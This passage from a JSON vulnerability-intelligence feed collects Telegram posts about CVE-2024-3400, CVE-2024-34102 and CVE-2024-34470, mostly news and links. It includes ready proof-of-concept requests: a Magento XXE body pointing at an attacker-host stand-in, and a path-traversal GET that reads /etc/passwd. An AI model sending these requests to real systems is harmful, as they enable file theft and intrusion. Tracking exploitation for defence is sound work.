keys now!", "creation_timestamp": "2024-10-02T14:45:51.000000Z"}, {"uuid": "ee2e07c5-1f50-4dd2-8405-cad9d4ed38ed", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/xakep_ru/15702", "content": "\u041e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u0441\u0432\u0435\u0436\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 PAN-OS Palo Alto Networks\n\n\u0412 \u0441\u0435\u0442\u0438 \u043f\u043e\u044f\u0432\u0438\u043b\u0441\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442 \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-3400, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0439 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u044b Palo Alto Networks \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c PAN-OS. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0436\u0435 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e\u0434 \u0430\u0442\u0430\u043a\u0430\u043c\u0438, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 root-\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\nhttps://xakep.ru/2024/04/17/cve-2024-3400-exploit/", "creation_timestamp": "2024-04-17T20:41:23.000000Z"}, {"uuid": "d88f119b-3ff4-4569-accc-fd64c7632e74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "exploited", "source": "https://t.me/xakep_ru/15688", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430\u0445 Palo Alto Networks \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0430\u0441\u044c \u043f\u043e\u0434 \u0430\u0442\u0430\u043a\u0430\u043c\u0438 \u0441 \u043c\u0430\u0440\u0442\u0430\n\n\u041d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0431\u043e\u043b\u0435\u0435 \u0434\u0432\u0443\u0445 \u043d\u0435\u0434\u0435\u043b\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 0-day \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430\u0445 Palo Alto Networks, \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Volexity. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2024-3400 (10 \u0431\u0430\u043b\u043b\u043e\u0432 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS) \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 root-\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438.\n\nhttps://xakep.ru/2024/04/15/operation-midnighteclipse/", "creation_timestamp": "2024-04-15T14:34:10.000000Z"}, {"uuid": "e3f60d07-14fa-4609-a74e-21b7f8e217be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/thebugbountyhunter/8577", "content": "Palo Alto - Putting The Protecc In GlobalProtect (CVE-2024-3400)\n\nhttps://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/", "creation_timestamp": "2024-04-30T18:21:20.000000Z"}, {"uuid": "01623140-8027-4335-83ce-cd7c9afbca97", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/thebugbountyhunter/8630", "content": "Palo Alto - Putting The Protecc In GlobalProtect (CVE-2024-3400)\n\nhttps://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/", "creation_timestamp": "2024-04-30T18:21:23.000000Z"}, {"uuid": "a7411f53-d86b-4ed8-9d5a-a1307f8dad7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/BugCod3/615", "content": "CVE-2024-34102  POC \n\nPOST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/2\n\n{\"address\":{\"totalsCollector\":{\"collectorList\":{\"totalCollector\":{\"sourceData\":{\"data\":\"http://attacker*com/xxe.xml\",\"dataIsURL\":true,\"options\":1337}}}}}}\n\n#CVE #POC\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\ud83d\udc64 T.me/BugCod3BOT \n\ud83d\udce3 T.me/BugCod3", "creation_timestamp": "2024-06-28T00:19:40.000000Z"}, {"uuid": "88ed1403-a5d1-44be-a065-4f31e8d55b8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34351", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2494", "content": "https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps\n\nCVE-2024-34351\n#\u5206\u6790 #poc", "creation_timestamp": "2024-05-15T21:48:21.000000Z"}, {"uuid": "774d5be6-129d-4804-ba74-91adb8edbf0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34470", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2655", "content": "CVE-2024-34470\n\nGET   /mailinspector/public/loader.php?path=../../../../../../../etc/passwd\n\n#poc  #exploit", "creation_timestamp": "2024-06-12T15:56:04.000000Z"}, {"uuid": "c96d724a-1fe9-49ea-b1b0-4e33bc6d539d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34470", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2685", "content": "CVE-2024-34470\n\nGET   /mailinspector/public/loader.php?path=../../../../../../../etc/passwd\n\n#exploit #poc", "creation_timestamp": "2024-06-19T15:42:16.000000Z"}, {"uuid": "2c2dea1f-7207-4362-8dcf-f471bb856bab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2303", "content": "https://github.com/DrewskyDev/CVE-2024-3400\n\ncve-2024-3400\n#github #exploit", "creation_timestamp": "2024-04-14T14:42:12.000000Z"}, {"uuid": "d3760551-b44e-4df5-bac3-f21e2dfdfe46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-3400", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2342", "content": "https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/\n\ncve-2024-3400\n#\u5206\u6790 #poc", "creation_timestamp": "2024-04-18T12:25:19.000000Z"}, {"uuid": "c5a77e1d-bea4-4a87-9f66-3281cba1e90c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/2728", "content": "CVE-2024-34102\n\nPOST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/1.1\nHost: 127.0.0.1\nContent-Type: application/json\n\n{\"address\":{\"totalsCollector\":{\"collectorList\":{\"totalCollector\":{\"sourceData\":{\"data\":\"http://url/\",\"dataIsURL\":true,\"options\":12345678}}}}}}\n\nhttp://url\n\n#exploit  #poc", "creation_timestamp": "2024-07-02T07:34:49.000000Z"}, {"uuid": "f3fb851e-3bde-4144-bcd4-3076e4fb7691", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "https://t.me/S_E_Reborn/5083", "content": "Cisco \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u044f\u0432\u043d\u043e \u0437\u0430\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f.\n\n\u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u0432 \u041f\u041e \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u043c \u0442\u043e\u0447\u043a\u0430\u043c \u0432 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0430\u0445 Cisco Identity Services Engine (ISE) \u0431\u044b\u043b\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0438 \u043d\u0435\u0439\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u0430 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441 \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u043c PoC.\n\n\u041a\u0430\u043a \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442\u00a0\u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434\u0430\u0445 CLI \u0432 ISE \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u043c\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0430\u0442\u0430\u043a\u0438 \u043f\u0443\u0442\u0435\u043c \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u0431\u0430\u0437\u043e\u0432\u0443\u044e \u041e\u0421 \u0438 \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root.\n\nCVE-2024-20469 \u0432\u044b\u0437\u0432\u0430\u043d\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439 \u0432\u0432\u043e\u0434\u0438\u043c\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c \u0434\u0430\u043d\u043d\u044b\u0445, \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u0430 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0441 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c.\n\n\u041e\u0434\u043d\u0430\u043a\u043e, \u043a\u0430\u043a \u043f\u043e\u044f\u0441\u043d\u044f\u0435\u0442 Cisco, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0442\u043e\u043b\u044c\u043a\u043e \u0432 \u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435, \u0435\u0441\u043b\u0438 \u0443 \u043d\u0438\u0445 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0430 \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445. \u0414\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u044d\u0442\u043e\u0433\u043e \u0435\u0449\u0435 \u043d\u0438\u043a\u0442\u043e \u043d\u0435 \u0441\u0434\u0435\u043b\u0430\u043b.\n\n\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, Cisco \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0434\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043e\u0431\u00a0\u0443\u0434\u0430\u043b\u0435\u043d\u0438\u0438 \u0431\u044d\u043a\u0434\u043e\u0440-\u0430\u043a\u043a\u0430\u0443\u043d\u0442\u0430\u00a0\u0432 \u0443\u0442\u0438\u043b\u0438\u0442\u0435 Smart Licensing Utility \u0434\u043b\u044f Windows, \u043a\u043e\u0442\u043e\u0440\u0443\u044e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0432\u0445\u043e\u0434\u0430 \u0432 \u043d\u0435\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430.\n\nCSLU - \u044d\u0442\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 Windows, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f\u043c\u0438 \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u043c\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e, \u043d\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u044f \u0438\u0445 \u043a \u043e\u0431\u043b\u0430\u0447\u043d\u043e\u043c\u0443 \u0440\u0435\u0448\u0435\u043d\u0438\u044e Cisco Smart Software Manager.\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f CVE-2024-20439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u043e\u0439\u0442\u0438 \u0432 \u0443\u044f\u0437\u0432\u0438\u043c\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0447\u0435\u0440\u0435\u0437 API \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f Cisco Smart Licensing Utility.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 CLSU (CVE-2024-20440).\n\n\u041d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0444\u0430\u0439\u043b\u0430\u043c \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u043c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 (\u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 API), \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u044b \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u0415\u0441\u043b\u0438 \u0432\u0441\u0435 \u0432\u044b\u0448\u0435\u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c (\u0432\u043e \u0432\u0441\u044f\u043a\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043a\u0430), \u0442\u043e \u0441\u0430\u0439\u0442 Cisco Merchandise Store \u043f\u043e \u043f\u0440\u043e\u0434\u0430\u0436\u0435 \u0442\u043e\u0432\u0430\u0440\u043e\u0432 \u0441 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0442\u0435\u043c\u0430\u0442\u0438\u043a\u043e\u0439 \u043f\u0435\u0440\u0435\u0436\u0438\u043b \u0430\u0442\u0430\u043a\u0443 CosmicSting (CVE-2024-34102) \u0438 \u0441\u0435\u0439\u0447\u0430\u0441 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043d\u0430 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u043c \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438.\n\n\u0418\u043d\u044b\u043c\u0438 \u0441\u043b\u043e\u0432\u0430\u043c \u0431\u044b\u043b \u0432\u0437\u043b\u043e\u043c\u0430\u043d \u0438 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043b \u043a\u043e\u0434 JavaScript, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043a\u0440\u0430\u043b \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u0438 \u043e\u0444\u043e\u0440\u043c\u043b\u0435\u043d\u0438\u0438 \u0437\u0430\u043a\u0430\u0437\u0430. \u0412\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u0432\u0437\u043b\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0435\u043b \u0432 \u043c\u0438\u043d\u0443\u0432\u0448\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0435.\n\n\u0421\u0430\u043c\u0430 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u043a\u0430 \u043d\u0438\u043a\u0430\u043a \u043d\u0435 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0438\u0440\u0443\u0435\u0442 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442.", "creation_timestamp": "2024-09-05T15:23:32.000000Z"}, {"uuid": "4dfb709e-ac5b-41fa-8be9-a6528785addf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34329", "type": "seen", "source": "https://t.me/S_E_Reborn/5335", "content": "\u0412\u0441\u0435\u043c \u043f\u0440\u0438\u0432\u0435\u0442! \n\n\u041f\u043e\u043c\u0438\u043c\u043e \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 Windows, \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0433\u0443\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0441\u043b\u0443\u0436\u0431\u044b \u043e\u0442 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u043e\u0432: \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0441\u043b\u0435\u0436\u0435\u043d\u0438\u044f, \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438, \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, \u0438\u0433\u0440\u0443\u0448\u043a\u0438. \u0412 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u0435 \u0441\u0432\u043e\u0435\u043c \u043e\u043d\u0438 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044e\u0442 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c, \u0440\u0430\u0431\u043e\u0442\u0430\u044f \u043e\u0442 \u043b\u0438\u0446\u0430 NT AUTHORITY\\SYSTEM. \n\n\u041f\u0440\u0438\u0447\u0435\u043c, \u043a\u0430\u043a \u044f \u043f\u043e\u043d\u0438\u043c\u0430\u044e, \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0441\u043b\u0443\u0436\u0431\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u044f\u0442\u044c\u0441\u044f \u0434\u043e\u043b\u0436\u043d\u044b \u0441\u0430\u043c\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0433\u043e \u0444\u0438\u0440\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u041f\u041e, \u0447\u0442\u043e \u0443\u0441\u043b\u043e\u0436\u043d\u044f\u0435\u0442 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0434\u0430\u0435\u0442 \u043d\u0430\u043c \u0435\u0449\u0435 \u043e\u0434\u0438\u043d \u0432\u0435\u043a\u0442\u043e\u0440 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439. \n\n\u0415\u0441\u0442\u044c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043c\u043d\u043e\u0433\u043e \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0441\u0431\u043e\u0440\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u041f\u041e \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0435:\n# \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438\u0437 \u0440\u0435\u0435\u0441\u0442\u0440\u0430\nGet-ChildItem \"HKLM:\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall\" | Get-ItemProperty | Where-Object 